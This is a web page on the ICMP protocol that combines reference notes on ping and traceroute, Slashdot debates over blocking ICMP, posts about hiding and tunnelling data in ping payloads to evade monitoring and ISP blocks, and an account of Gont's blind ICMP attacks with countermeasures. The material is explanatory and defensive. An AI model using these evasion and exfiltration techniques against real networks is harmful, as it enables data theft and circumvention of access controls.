|
|
Home | Switchboard | Unix Administration | Red Hat | TCP/IP Networks | Neoliberalism | Toxic Managers |
| (slightly skeptical) Educational society promoting "Back to basics" movement against IT overcomplexity and bastardization of classic Unix | |||||||
| News | Internet Protocol | Recommended Links | Recommended Papers | Reference |
| Smurf attack | Ping | Packet generation tools | Humor | Quiz |
|
|
ICMP must be included in every TCP/IP implementation. ICMP is defined in RFC 792. Essentially ICMP is a communication protocol between IP protocol implementations on two connected systems. Message types that are send include:
|
|
It provides feedback to the sender on problems, as well as internet settings such as the subnet mask. ICMP packets are used by user applications, such as ping, to diagnose network problems. Hosts also may generate ICMP packets to report network problems to other hosts on the network. Many security obsessed idiots introduced subtle errors into networks by blocking ICMP. They should know better...
For ICMP packets the Protocol field in the IP header is equal to one. After the IP header part in the IP packet, there is a variable-length ICMP header:
| 8 | 16 | 32 bits |
| Type | Code | Checksum |
| Identifier | Sequence number | |
|
Data |
||
ICMP messages are contained within IP datagrams. This ensures the ICMP message will be able to find its way to the appropriate host within an internet. The most frequently used type field are as following:
Type Field - Message Type:
0 - Echo Reply
(used by ping)
3 - Destination Unreachable
4 - Source Quence
5 - Redirect
8 - Echo Request (used by ping)
11 - Time Exceeded for a Datagram
12 - Parameter Problem on a Datagram
13 - Timestamp Request
14 - Timestamp Reply
15 - Information Request
16 - Information Reply
17 - Address Mask Request (used to request netmask by the host in VLSM
environment)
18 - Address Mask Reply (used to provide netmask to the host in VLSM environment)
The most frequently used ICMP messages are the ECHO REQUEST and ECHO REPLY. Famous ping utility uses these messages to test connectivity with a remote host. The frames include the ICMP messages 'Echo Request' (type 8) and ECHO REPLY. The latter is sent when the host receives "ping". It replies with an ICMP echo reply message (type 0 ICMP packet). Time interval between sending Echo Request and getting Echo Reply is used to determine the round-trip time of the ICMP packet between the source and destination hosts and is printed by ping after echo echo reply. In both types of messages (type 8 'Echo Request' and type 0 'Echo Reply'.) code field is zero. In other messages code field is used to determine operation performed .
The other two are the REDIRECT and SOURCE QUENCH messages.
The REDIRECT message is sent by a gateway to the host instructing the host to use a different route when the router detects that its route is not as optimal as that of another router. In the [tcp_xif] section there is the defaultgateway0 parameter. The defaultgateway0 parameter instructs IP which gateway to send the IP datagram when it needs to be delivered to a different subnet. If the gateway detects a better route for the IP datagram, it will send the host the REDIRECT message with the prefered gateway. LM TCP/IP will then use this new IP address to send all traffic for another subnet. Redirect message uses the codes in the following way:
0 = Redirect datagrams for the Network.
1 = Redirect datagrams for the Host.
2 = Redirect datagrams for the Type of Service and Network.
3 = Redirect datagrams for the Type of Service and Host.
The SOURCE QUENCH message informs the host that the gateway cannot keep up with the traffic and requests the host to throttle back. The host lowers the rate at which it sends datagrams to the host until it stops receiving SOURCE QUENCH messages, at which time it gradually increases sending datagrams to the normal amount.
Finally, we can add any optional data if we so desire. The data added will be echoed back to us so that we can check the reliability of the line. The optional data should not exceed 64 KB (the upper limit specified in the ICMP RFC). Attempt to exploit the flow in handling very long ICMP packets is known as the Ping of Death. In some implementation including Windows stack implementation it used to cause blue screen of death.
Common ICMP-based tools, such as ping and traceroute, send probe packets to a host, and measure loss by observing whether or not response packets arrive within some time period. There are two principle problems with this approach:
Where lossfwd is the loss rate the forward direction and lossrev
is the loss rate in the reverse direction. Loss asymmetry is important, because for many protocols the relative importance of packets
flowing in each direction is different. In TCP, for example, losses of acknowledgment packets are tolerated far better than losses
of data packets. Similarly, for many streaming media protocols, packet losses in the opposite direction from the data stream have
little or no impact on overall performance. The ability to measure loss asymmetry allows a network engineering to more precisely
locate important network bottlenecks.
Ping send ICMP packets with the type 8 ('Echo Request') to the target host. This means we're asking the the target to send us back the Echo reply packet.
While generating the reply, the computer will simply swap the source and destination IP addresses in the IP header and replace the 8 in the ICMP Type Field with a 0 (for Echo Reply). It'll then slap in the optional data it's received (if any) and recalculate all the checksums. The reply will then be shot back to us.
When we receive the packet, we store the time and compare that with the time the Echo Request was sent. In this way we can calculate the round trip time of the packet. We can also check the data for changes and gauge the dependability of the link
The traceroute utility is very similar to ping. It is sending a series of ping packets starting with Time To Live (TTL) equal one and increasing value of TTL by one for each subsequent packet. TTL field is decremented by one each time the packet passes the router. If it becomes zero, router does not sent the packet further. Instead it send back "Time Exceeded" ICMP message (type 11).
It is each to see the first packet send will reach only the first router on the way to the target and this router will return "Time Exceeded" ICMP message, from which its IP address can be identified. The second packet will be blocked on the second router and this way we will know which router got it next. And so on.
Traceroute stops is it got a regular "Echo reply" packet.
|
|
Switchboard | ||||
| Latest | |||||
| Past week | |||||
| Past month | |||||
May 27, 2018, linux.slashdot.org ) [Recommended]
 |
 |
 |
May 27, 2018| linux.slashdot.org
jfdavis668 ( 1414919 ) , Sunday May 27, 2018 @11:09AM ( #56682996 )Anonymous Coward writes:Re:So ( Score: 5 , Interesting)Traceroute is disabled on every network I work with to prevent intruders from determining the network structure. Real pain in the neck, but one of those things we face to secure systems.
Re: ( Score: 2 , Insightful)Hylandr ( 813770 ) , Sunday May 27, 2018 @05:57PM ( #56685274 )What is the point? If an intruder is already there couldn't they just upload their own binary?
Re: So ( Score: 5 , Interesting)gweihir ( 88907 ) , Sunday May 27, 2018 @12:19PM ( #56683422 )They can easily. And often time will compile their own tools, versions of Apache, etc..
At best it slows down incident response and resolution while doing nothing to prevent discovery of their networks. If you only use Vlans to segregate your architecture you're boned.
Re: So ( Score: 5 , Interesting)bferrell ( 253291 ) , Sunday May 27, 2018 @12:20PM ( #56683430 ) Homepage JournalAlso really stupid. A competent attacker (and only those manage it into your network, right?) is not even slowed down by things like this.
Re: So ( Score: 4 , Interesting)fluffernutter ( 1411889 ) writes:Except it DOESN'T secure anything, simply renders things a little more obscure... Since when is obscurity security?
Re: ( Score: 3 )DamnOregonian ( 963763 ) , Sunday May 27, 2018 @04:37PM ( #56684878 )Doing something to make things more difficult for a hacker is better than doing nothing to make things more difficult for a hacker. Unless you're lazy, as many of these things should be done as possible.
Re:So ( Score: 5 , Insightful)mSparks43 ( 757109 ) writes:No.
Things like this don't slow down "hackers" with even a modicum of network knowledge inside of a functioning network. What they do slow down is your ability to troubleshoot network problems.
Breaking into a network is a slow process. Slow and precise. Trying to fix problems is a fast reactionary process. Who do you really think you're hurting? Yes another example of how ignorant opinions can become common sense.
Re: So ( Score: 2 )ruir ( 2709173 ) writes:Pretty much my reaction. like WTF? OTON, redhat flavors all still on glibc2 starting to become a regular p.i.t.a. so the chances of this actually becoming a thing to be concerned about seem very low.
Kinda like gdpr, same kind of groupthink that anyone actually cares or concerns themselves with policy these days.
Re: ( Score: 3 )DamnOregonian ( 963763 ) , Sunday May 27, 2018 @04:32PM ( #56684858 )Disable all ICMP is not feasible as you will be disabling MTU negotiation and destination unreachable messages. You are essentially breaking the TCP/IP protocol. And if you want the protocol working OK, then people can do traceroute via HTTP messages or ICMP echo and reply.
Or they can do reverse traceroute at least until the border edge of your firewall via an external site.
Re:So ( Score: 4 , Insightful)DamnOregonian ( 963763 ) writes:You have no fucking idea what you're talking about. I run a multi-regional network with over 130 peers. Nobody "disables ICMP". IP breaks without it. Some folks, generally the dimmer of us, will disable echo responses or TTL expiration notices thinking it is somehow secure (and they are very fucking wrong) but nobody blocks all ICMP, except for very very dim witted humans, and only on endpoint nodes.
Re: ( Score: 3 )DamnOregonian ( 963763 ) writes:That's hilarious... I am *the guy* who runs the network. I am our senior network engineer. Every line in every router -- mine.
You have no idea what you're talking about, at any level. "disabled ICMP" - state statement alone requires such ignorance to make that I'm not sure why I'm even replying to ignorant ass.
Re: ( Score: 3 )DamnOregonian ( 963763 ) writes:Nonsense. I conceded that morons may actually go through the work to totally break their PMTUD, IP error signaling channels, and make their nodes "invisible"
I understand "networking" at a level I'm pretty sure you only have a foggy understanding of. I write applications that require layer-2 packet building all the way up to layer-4.
In short, he's a moron. I have reason to suspect you might be, too.
Re: ( Score: 3 )nyet ( 19118 ) writes:A CDS is MAC. Turning off ICMP toward people who aren't allowed to access your node/network is understandable. They can't get anything else though, why bother supporting the IP control channel? CDS does *not* say turn off ICMP globally. I deal with CDS, SSAE16 SOC 2, and PCI compliance daily. If your CDS solution only operates with a layer-4 ACL, it's a pretty simple model, or You're Doing It Wrong (TM)
Re: ( Score: 3 )kevmeister ( 979231 ) , Sunday May 27, 2018 @05:47PM ( #56685234 ) Homepage> I'm not a network person
IOW, nothing you say about networking should be taken seriously.
Re:So ( Score: 4 , Insightful)Hylandr ( 813770 ) writes:No, TCP/IP is not working fine. It's broken and is costing you performance and $$$. But it is not evident because TCP/IP is very good about dealing with broken networks, like yours.
The problem is that doing this requires things like packet fragmentation which greatly increases router CPU load and reduces the maximum PPS of your network as well s resulting in dropped packets requiring re-transmission and may also result in widow collapse fallowed with slow-start, though rapid recovery mitigates much of this, it's still not free.
It's another example of security by stupidity which seldom provides security, but always buys added cost.
Re: ( Score: 3 )Zaelath ( 2588189 ) , Sunday May 27, 2018 @07:51PM ( #56685758 )As a server engineer I am experiencing this with our network team right now.
Do you have some reading that I might be able to further educate myself? I would like to be able to prove to the directors why disabling ICMP on the network may be the cause of our issues.
Re:So ( Score: 4 , Informative)Bing Tsher E ( 943915 ) , Sunday May 27, 2018 @01:22PM ( #56683792 ) JournalA brief read suggests this is a good resource: https://john.albin.net/essenti... [albin.net]
Re: Denying ICMP echo @ server/workstation level t ( Score: 5 , Insightful)Linux has one of the few IP stacks that isn't derived from the BSD stack, which in the industry is considered the reference design. Instead for linux, a new stack with it's own bugs and peculiarities was cobbled up.
Reference designs are a good thing to promote interoperability. As far as TCP/IP is concerned, linux is the biggest and ugliest stepchild. A theme that fits well into this whole discussion topic, actually.
|
|
|
Many sys admins, network engineers, and even IDS/IPS systems focus their network monitoring on TCP and UDP protocols. ICMP is often overlooked, but is nearly as viable for data transfer. So I wrote a pair of programs to demonstrate the viability and relative simplicity of data transfer over the unusually-monitored protocol.In this post I use the word "client" to refer to the sender of an ICMP echo request and "server" to refer to the receiver, the piece that responds with an ICMP echo response.
Two things about ICMP data transfer
- It's possible
- It probably happening somewhere to exfiltrate data, tunnel other protocols, or bypass IDS/filters/ACLs/who-knows?
At the bottom of the post are client and server proofs of concept that can be used to transfer a single file. Though the code below has a minimal featureset, it is possible to incorporate compression, encryption, sophisticated detection evasion, reliable and snazzy protocols, and other stuff of which I haven't thought.
|
|
|
12/17/2015 | Top-Hat-Sec
Ive been playing around a lot in the last few months with packets. I started playing around with different kinds of packets and seeing what data I could put in them etc etc. So this is kind of my first attempt at actually scripting something that would send data of my choosing. I decided to just use simple ICMP packets. When you ping something, the packet can be adjusted to fit larger amounts of data. It does not have to be the standard size, you can specify a higher amount even just using the ping command in the terminal. While I could accomplish this in bash, I found that I had more control if I used python.
The tools is very simple to use, just pass it the right flags and it does a good job. To test it out, I simply just sent pings to myself (127.0.0.1). You can monitor the packets using wireshark or tcpdump. Im currently trying to write a sniffer for it. Right now it does a good job at sending data, we just dont have a way to parse out the packets as of yet to extract the messages however you can keep the packet capture and put all the pieces together if you had to. Here are some examples:
Sending plain text is cool and simple to do. So I wanted to take it a step further and give the user the option to encode plain text, you can activate that by simply using the -b flag like so...
python ths-icmp.py -i 127.0.0.1 -b
and the results are:
So that is cool. Its base64 but at least its not plain text! Since I am using base64 to encode, then it made me think that I could actually send files and not just messages. So I put a test .txt file in my folder with a message inside, I will show you what the message is in a bit. Lets go ahead and send the file:
So we now have sent a .txt file and encoded it with base64, and sent it in a packet. Currently I am trying to write something that will do this for you, but for now we will have to manually decode this to see what the message or file is, here is how we go about doing that:
We took the encoding from the packet, echoed that data, piped it into a base64 decode, and ported that out to a new file called newmessage.txt. We then did a cat to check the contents of the file and wallah, we have our message. Pretty cool.
For those of you who like tcpdump, you can simply display the packet contents in the terminal and it looks like this: (probably easier to copy and paste too)
2 Comments
zifor 9/16/2016 11:50:41 am
Prakash Lakhara linkit's cool :D
5/16/2017 10:49:20 am
how to receive this files?
ping. fping differs from ping in a way that you can specify any number of targets on the command line, or specify a file containing the lists of targets to ping. Instead of sending pings to one target until it times out or replies, fping will send out a ping packet and move on to the next target in a round-robin fashion.
|
|
|
One new attendee of this year's OpenBSD hackathon was Fernando Gont, a diverse individual from Argentina whose current job titles include teacher, technical writer, system administrator and network researcher. His presence at the hackathon was the result of an internet-draft he wrote about some flaws in the ICMP protocol, flaws he discovered while writing the "Security Considerations" of a different internet-draft titled "TCP's reaction to soft errors" for the IPv6 Operations working group.In researching that earlier draft, he considered various attacks against TCP using ICMP error messages, and proposed some extra validation that could be done as prevention.
Following up, Fernando reviewed the IETF specifications for ICMP and TCP and was surprised to discover that they didn't propose similar validation checks, ultimately deciding to write his latest internet-draft highlighting the security impact.
Fernando was interested in discussing the ideas with his peers, but was concerned about vendors trying to patent his suggested fixes. He'd read some comments by OpenBSD creator Theo de Raadt [interview] which led him to believe that he could safely talk with Theo about his ICMP discoveries. Theo was impressed by the ideas, and as Fernando was already heading to BSDCan, Theo helped arrange for him to stay in Canada longer to attend CanSecWest and the OpenBSD hackathon. At the hackathon, Fernando worked around the clock to implement some of his suggested fixes into the OpenBSD networking stack, during which time I spoke with him.
The ICMP flaw is in the design of the protocol, not in any specific implementation. Theo explains,
Three Blind ICMP Attacks:"here we have a 20 year old protocol, a part of the Internet infrastructure that hasn't been touched in 10 years and we were all sure was right, and now is cast in doubt." He went on to add, "these things have to be done carefully. We can't ignore the problem, which is what the IETF and the other vendors are telling us to do."
Fernando stressed that the issues in ICMP are with the specification itself, "this makes the problem more important because it affects everyone, not just one implementation from a programmer mistake." He goes on to point out that the problem won't truly be fixed until the IETF specification themselves are fixed, as it is from these specifications that vendors implement their systems. "Most vendors have, are, or will be implementing the recommended counter-measures in the near future," Fernando acknowledges, "however, vendors have not bothered to participate in the relevant IETF working group to update the existing specifications." Thus Fernando is concerned that future implementations will continue to be made following these outdated and now known-to-be-flawed specifications.
All three ICMP flaws can be exploited without sniffing network traffic, and do not require a "man in the middle". Unlike the earlier "slipping in the window" TCP reset attack [story], these ICMP-based TCP attacks don't require an attacker to guess a correct TCP sequence number, making it simpler to disrupt network traffic. As a brief overview, the three flaws are:
- Blind connection reset attack: an attacker can generate a "hard" ICMP error to remotely tear down an existing connection.
- Blind throughput reduction: an attacker can generate ICMP errors that repeatedly trigger source quenching, thereby reducing the throughput of the connection.
- Blind performance degrading attack: an attacker can use ICMP packets to trick Path MTU discovery into reducing the size of each sent packet down to only 68 bytes.
"Hard" ICMP Errors:
The ICMP protocol was first defined in RFC 792, published in September of 1981. Referring to TCP connections, ICMP errors are classified as either "hard" or "soft". A "hard" error results in the TCP connection being torn down, much the same as if a RST packet was received. There are three ICMP type 3 'destination unreachable' errors that are defined in RFC 1122 as hard errors. Code 2, 'protocol unreachable', code 3, 'port unreachable', and possibly code 4, 'fragmentation needed and don't fragment bit set' are all hard errors that if received can cause a TCP stack to tear down an existing connection. (Code 4 is only a 'hard' error if Path MTU discovery is not implemented.)Other ICMP errors are considered "soft" errors. "Soft" errors are reported to the application affected, but the connection continues. Fernando's solution for the "hard" ICMP error flaw is to simply treat them like "soft" ICMP errors. "If treated that way," he said, "the stack becomes immune to the problem." As to why the ICMP stack was designed this way in the first place, "the basic idea of hard errors was to avoid keeping TCP connections from retrying and retrying lots of times," Fernando explained. "Maybe it made sense many years ago when you didn't have the processing power you have now, but these days there is no problem with just letting the TCP connection eventually timeout when there is a legitimate network problem."
Source Quenching:
ICMP type 4 code 0 packets are defined as "source quench" messages. When a router between two endpoints or the remote endpoint itself begins to run out of buffer space for processing incoming packets, it can send a source quench ICMP packet to the endpoint from where the traffic originated. As defined in RFC 792, when an endpoint receives a source quench packet it should slow the rate at which it is sending out packets. After ten minutes, the endpoint should gradually increase the rate at which it's sending packets up to the original rate.Fernando's paper points out that source quench messages can also be abused. If the messages are spoofed at a high enough rate, a TCP connection can be slowed to a crawl. "While this would not reset the connection," Fernando explained, "it would certainly degrade the performance of the data transfer taking place." Fortunately the solution is simple he goes on to explain, "you can just completely disable ICMP source quenching for TCP because the TCP protocol has its own handling for these conditions, and routers, as specified by RFC 1812, should not be sending source quench packets either."
Path MTU Discovery
IP sessions are composed of many packets. The largest size of each of these packets is known as the maximum transmission unit, or MTU, and ideally it's sized for maximum throughput. If packets are too large, there's extra overhead for routers in between the endpoints that have to break the large packets into smaller fragments, and again overhead for the final endpoint that has to reassemble the fragments back into the original packets. If packets are too small, there's extra overhead creating and processing all the additional smaller packets. Additional research into the potential problems of fragmentation can be found in the 1987 paper "Fragmentation considered harmful" and the more recent "Fragmentation considered very harmful" from 2004. Thus, it's important to configure your endpoints to use an appropriate MTU, usually the maximum packet size that doesn't require fragmentation.
Path MTU Discovery is defined in RFC 1191, and is a technique using ICMP packets to dynamically discover the maximum transmission unit of an arbitrary internet path.
Essentially PMTU works by beginning with sending large packets with the "don't fragment" bit set in the IP header. The "don't fragment" bit tells routers along the way that the data payload of the packet shouldn't be broken into smaller pieces. If a router receives the packet and finds it is too big to forward, it will drop the packet and reply to the original host with an ICMP error stating "packet too large and don't fragment bit set". Additionally, RFC 1191 defines the use of a header field to specify the MTU of the hop that generated the ICMP error. The originating host lowers the size of the packet to this MTU and tries again. The process continues until the packet successfully reaches the destination endpoint. In this way, the host is able to discover the best possible MTU for the current internet path.
In Fernando's 3'rd ICMP attack, ICMP error packets are spoofed saying "packet too large and don't fragment bit set", causing the endpoint to reduce the size of its packet to a smaller than optimal size, as small as 68 bytes. RFC 1812 specifies that once a system has reduced the Path MTU, it will leave it at the reduced size for ten minutes before it tries increasing it again, thus a sustained attack only requires the sending of one packet every ten minutes. With the increased number of smaller packets, the interrupt rate increases on both the client and the server, degrading the performance of both systems. One of the most susceptible systems to this type of attack are BGP routers, which require maintaining long TCP sessions with high data throughput. As this doesn't cause the session to abort, it's much more difficult to detect and can result in very slow data transmissions.
The solution for this third attack is more complex than for the earlier types of attacks. Essentially, Fernando's solution is to delay the processing of the ICMP error messages. Instead of immediately reducing the MTU when a "packet too large and don't fragment bit" ICMP error is received, the system can simply remember that it received the packet and wait for an appropriate amount of time before acting on it. The appropriate amount of time depends on the network and is thus dynamically calculated, but essentially it is the average amount of time taken for a packet to make a round trip between the two endpoints, multiplied by a factor. If during that time you receive a delivery acknowledgment for the same packet that you also received an ICMP error, you know that the ICMP error wasn't real and thus can safely be ignored. Alternatively, if after that amount of time no acknowledgment is received then you can act appropriately on the ICMP error, reducing the MTU.
Additional generic countermeasure:
In addition to the first two countermeasures mentioned above, and inherently part of the third countermeasure, it is also possible to generically defend against ICMP attacks on TCP sessions by verifying the TCP sequence number of the packet contained within an ICMP error. This works because all ICMP error packets are required to contain the IP header and at least 8 more bytes of the packet that caused the error in the first place. In the case of TCP packets, these 8 bytes include the TCP sequence number, and thus this sequence number can be compared against the active session that generated the packet. If the sequence number is not within the sequence number window [story], the ICMP error is obviously not real and can be safely ignored. Evidently many vendors did not provide even this amount of prevention, which is why the ICMP issues described in Fernando's paper are so easy to exploit. While sequence number validation is a useful preventative measure, it is not enough by itself. Fernando notes, "it may serve as a counter-measure nowadays, but if in the future we begin to use larger windows, we will be facing the same problem again." He points to the earlier discussed counter-measures as the appropriate complete solution to the problem.
|
|
|
Slashdot
Re:This is ridiculous! (Score:4, Interesting)
by dcam (615646) on Thursday July 07, @03:37AM (#13000900)
(http://www.uberconcept.com/)Interesting ICMP exploit (Score:5, Interesting)That is only half of it, read the full article for the way cisco behaved:
He continued to reply thoroughly to all their questions, until two months later when he received an email from Cisco's lawyer claiming that Cisco held a patent on his work. He asked their lawyer for specifics, but they refused to reveal any details.
... Fernando went on to point out that from his experience vendors seem to be more concerned about who gets credit for finding a flaw, rather than about actually fixing it. Fernando explained, "Cisco was worried about not giving me credit because they claimed to have been working on the problem for four years. They offered to set up a meeting with some people of Cisco Argentina to show me documentation that would prove they had been working on the Path MTU Discovery attack for more than a year. It didn't happen.
... One week prior to the eventual discloser, Fernando received a call from the CTO of Cisco Argentina who asked him for a copy of his resume. "He said he wanted to have a meeting with me, telling me they might have a job for me," Fernando shrugged. "The meeting was delayed a few times, then I never heard from him again. I wouldn't have thought much of it, but I mentioned it to other people and it turns out they'd had similar experiences. It seems this is a common practice for Cisco to offer someone work in the hopes you'll not talk to the media when the security issues are disclosed."
Way to go Cisco!
by OverCode@work (196386) <overcode@@@gmail...com> on Wednesday July 06, @09:51PM (#12999593)
(http://overcode.yak.net/)Often when Internet providers disable your cable/DSL/LAN connection for security or billing reasons, they just block TCP and UDP but leave ICMP available. I've observed Georgia Tech's ResNet to do this, and reportedly Adelphia's cable ISP does the same. You can ping to your heart's content, but can't send data.
Except that you can.
A ping packet (ICMP echo request) can have a completely arbitrary payload. You can put any data you want there. You could even tunnel IP inside it. You would have to have to have a friendly server on the outside to receive these packets and forward the contents, but that's easily done.
This trick might also be useful for tunnelling past content filters. I don't think any of them scan ICMP packets.
I'm writing a simple userspace IP stack (gets packets from the tun/tap interface), and I intend to try this out once it's a bit more mature.
-John
Re:Interesting ICMP exploit (Score:5, Informative)
by isometrick (817436) on Wednesday July 06, @10:16PM (#12999690)Save yourself some trouble, check out PingTunnel [cs.uit.no]. :)
DON'T DO IT! (Score:4, Informative)
by DigiShaman (671371) on Thursday July 07, @02:38AM (#13000743)
(http://www.contoso.com/)FYI, I'm a Time Warner employee in Austin, TX. When we disable a modem for non-payment or virus/spam abuse, we do it through rebooting the modem with a new BIN file. Once done, you will not get an IP address. The modem will still have a 10.net address attached to our network to configure. However, it's not accessible so don't bother wasting your time.
Regardless if you could get online through a disabled modem, don't do it. Theft of cable service (including internet service through our cable) is federal crime. So don't even THINK about getting crafty with your connection that has been explicitly disabled for non-payment.
Some facts about this (Score:5, Informative)
by possible (123857) on Wednesday July 06, @09:52PM (#12999595)Here are some facts about these vulnerabilities in no particular order.
- These are blind exploits, meaning you do NOT have to be a man-in-the-middle.
- Sequence number checking is not enough. Therefore Linux has not fully fixed these issues yet. Only OpenBSD has fixed them all, and it must be considered the reference implementation for these fixes. TCP window sizes are fairly large these days. You can EASILY exploit this in a few seconds simply by brute forcing into the window.
- This is much worse than the TCP reset attacks we read about. Why? Because using these ICMP exploits, you can stall a connection without the application layer ever receiving notification that something is amiss.
- Why does this matter? BGP. How do people secure BGP these days? They filter TCP packets with a firewall. Or they use tunnels. Guess what? That doesn't protect you from these vulnerabilities, because they use ICMP. Guess what? Home users with firewalls aside, most ISPs do not (and cannot, if they expect the Internet to work) filter ICMP.
- "Responsible disclosure" is incredibly broken these days and it's getting worse. The vendors have hijacked the process. This is at least the 3rd time Cisco has tried to patent somebody else's security work. NISCC and CERT totally blew it. The IETF blew it AGAIN (remember VRRP?) Gont was asked during his presentation "Knowing what you know, how would you handle the disclosure of these issues if you had to do it over." His answer was, he would just write things up and publish them to Bugtraq without notifying anyone ahead of time. And he's not alone. More and more researchers are anonymously publishing things without notifying the vendors, because they don't want to go through this stuff every time they discover an issue.
Re:Some facts about this (Score:1)
by ph0enix (87965) on Wednesday July 06, @10:23PM (#12999725)[ Parent ] Re:Some facts about this (Score:4, Informative)
by graf0z (464763) on Thursday July 07, @05:32AM (#13001161)This issue has to be considered, but as D. Adams said: Don't panic!
- These are blind exploits, meaning you do NOT have to be a man-in-the-middle.
If the error receiving system is checking the header of the error generating tcp or udp packet (at least 8 byte have to be contained in the icmp error), the attacker has to guess the source port and - in case if tcp - the tcp sequence number to work blindly.
- Sequence number checking is not enough. Therefore Linux has not fully fixed these issues yet. Only OpenBSD has fixed them all, and it must be considered the reference implementation for these fixes. TCP window sizes are fairly large these days. You can EASILY exploit this in a few seconds simply by brute forcing into the window.
Again: you have to guess the source port, too. There are very few tcp protocols with predictable source ports nowadays. So it's not 2^32/windowsize but probably (2^16-1024)*2^32/windowsize. Have fun brute forcing that.
- This is much worse than the TCP reset attacks we read about. Why? Because using these ICMP exploits, you can stall a connection without the application layer ever receiving notification that something is amiss.
True: such an attack would feel more like a network problem than like an attack.
- Why does this matter? BGP. How do people secure BGP these days? They filter TCP packets with a firewall. Or they use tunnels.
And they secure them by no longer using predictable source ports (many BGP implementations used dest port = source port (179) before).
/graf0z.
Holy timewarp batman! (Score:3, Insightful)
by NotWulfen (219204) on Wednesday July 06, @10:27PM (#12999737)
(http://www.starshadow.com/~ragnar)IRC networks have been plagued with ICMP unreachables for years http://www.rs-labs.com/papers/tacticas/ircutils/p
u ke.html [rs-labs.com]nothing new to see here, move along.
Re:Blind attacks (Score:4, Informative)
by matman (71405) on Thursday July 07, @11:23AM (#13003799)First, while source quench is pretty blind, it isn't much of an issue - it's ignored for TCP and I'm not sure that it's used for UDP either (if it is, few important services use UDP over the internet). Path MTU spoofing is really just a variation of the ICMP Unreach spoof attack (same ICMP type). Unreach packets need to "quote" the header of the packet that couldn't be delivered - including source (random 1024-65535) and target port numbers - this allows the sending host to know what connection is being affected. In order for the attacked host to accept a spoofed unreach, the unreach needs to quote the right source IP/port and target IP/port. Most of the time, the source IP, and target IP/port are known but the source port could be one in a few thousand. It used to be that, on modem connections, sending thousands of unreach packets took a few minutes, but now it can be done in seconds or less. Now you can even guess the source IP (drop all connections from a network to a server). Thus, now, the attack is essentially (if not technically) blind since you don't have to find the right combo - you just send all combos.
No ICMP discussion w/out Orfin's papers (Score:2, Interesting)
by papaia (652949) on Wednesday July 06, @11:39PM (#13000115)There should be absolutely no discussion of ICMP without considering the fundamental research carried out by Orfin Arkin. His work [sys-security.com] should be read by anyone willing to discuss the issue beyond the /. gossiping ... P.S. ... what the heck is going on with the HTML formatted postings?!?
Re:ICMP flaw #1 on Linux: it's in the kernel (Score:4, Informative)
by burns210 (572621) <[email protected]> on Thursday July 07, @01:43AM (#13000614)
(http://www.mirwin.net/ | Last Journal: Thursday September 09, @01:00AM)Probably just a typo, but I wanted to clarify a mistype in your post. ICMP IS a subset of the Internet Protocol(IP). IP, part of TCP/IP, has an error reporting mechanism for when things get screwed up, it is called ICMP. It doesn't sit on top nor beside IP, it sits inside of it, logically speaking.
Both ICMP, which is consider its own entity at times, but is a subset of IP as a whole, and IP are at layer 3. The Networking layer.
TCP and UDP are layer 4.
microkernels(as mentioned in another post) do exactly this: move as much OUT of the kernel as possible, including the networking (TCP/IP) stack. This isn't a bad idea, necesarily, it gives some advantages that microkernels are all about. If your networking stack gets completely destroyed, it doesn't take down your kernel, etc, etc.
monolithic kernels, like Linux(and most OSes, since they are 'easier' and more commonly accepted design) put more things inside the kernel like the networking stack. Not everything, but more things than a microkernel.
All that being said, even in linux, you could still write an userspace TCP/IP stack and use it, AFAIK. Though things like performance would be an issue.
Re:ICMP flaw #1 on Linux: it's in the kernel (Score:5, Insightful)
by Trick (3648) on Wednesday July 06, @09:34PM (#12999522)How the heck did this get modded insightful? ICMP runs on a different layer than all of the services you mentioned. ICMP is a network layer protocol (like IP and IPv6, also called "layer 3"), and all the protocols you mentioned are application layer (layer 7) protocols. There's no direct comparison to be made to any of the protocols (HTTP, SMB, FTP and NFS) you mentioned.
If you want to compare having ICMP in the kernel to other sinilar protocols, your best argument (if you can call it that) is that we should have *IP*, another layer 3 protocol, "running as an ordinary user process, not root, and especially not as a kernel process." Obviously, IP *is* included in the kernel, for plenty of good reasons. Comparing ICMP to application-layer protocols like HTTP holds no weight whatsoever, unless you're completely ignorant of network fundamentals.
How it got modded to +5 Insightful baffles me. I'd have thought this crowd would have a better handle on the basics.
Re:ICMP flaw #1 on Linux: it's in the kernel (Score:5, Informative)
by Animats (122034) on Wednesday July 06, @11:12PM (#12999981)
(http://www.animats.com)Sigh. As someone who once implemented ICMP (in 1982, before BSD, even), I should say something.
First, ICMP is a layer 3 protocol, like TCP and UDP. ICMP is IP protocol #1; TCP is #6 and UDP is #17.
Second, it's quite feasible to put ICMP in user space. I'm writing this on a QNX system where it's in user space. My 1982 implementation was also in user space, as part of 3COM's UNET. Linux doesn't do it that way, but it's not fundamental that ICMP must be in the kernel. It needs to have a mechanism to pass messages to the other protocols, but that's a local message passing problem. But I'm not going to rehash the ever-growing monolithic kernel issue here.
Third, we knew about many of those vulnerabilities back in the 1980s, but weren't as concerned about them because the Internet was a DoD/NSF operation. Destination Unreachable and Source Quench messages used to be taken more seriously than they are now. Destination Unreachable told you where the network was down, and Source Quench told you where it was congested, basic network management info back then. Today, nobody does network management that way and many TCP stacks don't do much, if anything, with ICMP information. I used to encourage the use of Source Quench for congestion management (see my RFC on this, from 1984) [ietf.org], but it's far less appropriate today. Back then, we were concerned about packet loss through transmission errors, a frequent occurence with leased-line synchronous modems. So, when a packet was lost, the question was whether you should retransmit rapidly (appropriate for an error) or slowly (appropriate for congestion). Source Quench could disambiguate that situation. Today, it's assumed that packets are lost almost entirely through congestion, since the lower levels are of much better quality than they used to be.
|
|
|
Advisory Original Release Date: April 25, 2005 Last Revised: April 27, 2005 Number: ASA-2005-076 Risk Level: Medium Advisory Version: 2.0 Advisory Status: InterimOverview:Multiple TCP/IP and ICMP implementations allow remote attackers to cause a denial of service via spoofed ICMP messages. These vulnerabilities are separated into three related but unique issues: (1) Blind TCP connection reset attacks utilizing spoofed ICMP Destination Unreachable messages, (2) Blind throughput-reduction attacks utilizing spoofing ICMP Source Quench messages, and (3) Blind throughput-reduction attacks utilizing spoofed ICMP Path MTU (PMTU) messages. Certain Avaya products are affected by these vulnerabilities.
The CommonVulnerabilities and Exposures project (cve.mitre.org) has assigned the name CAN-2004-0790, CAN-2004-0791, CAN-2004-1060, CAN-2005-0065, CAN-2005-0066, CAN-2005-0067, and CAN-2004-0068 to these issues.
More information about this vulnerability can be found in the following links: http://www.niscc.gov.uk/niscc/docs/re-20050412-00303.pdf?lang=enAs
|
|
|
- To: [email protected]
- Subject: Re: DoS using ICMP Tracebacks
- From: Dave Hartzell <[email protected]>
- Date: Wed, 23 Aug 2000 15:43:04 -0500 (CDT)
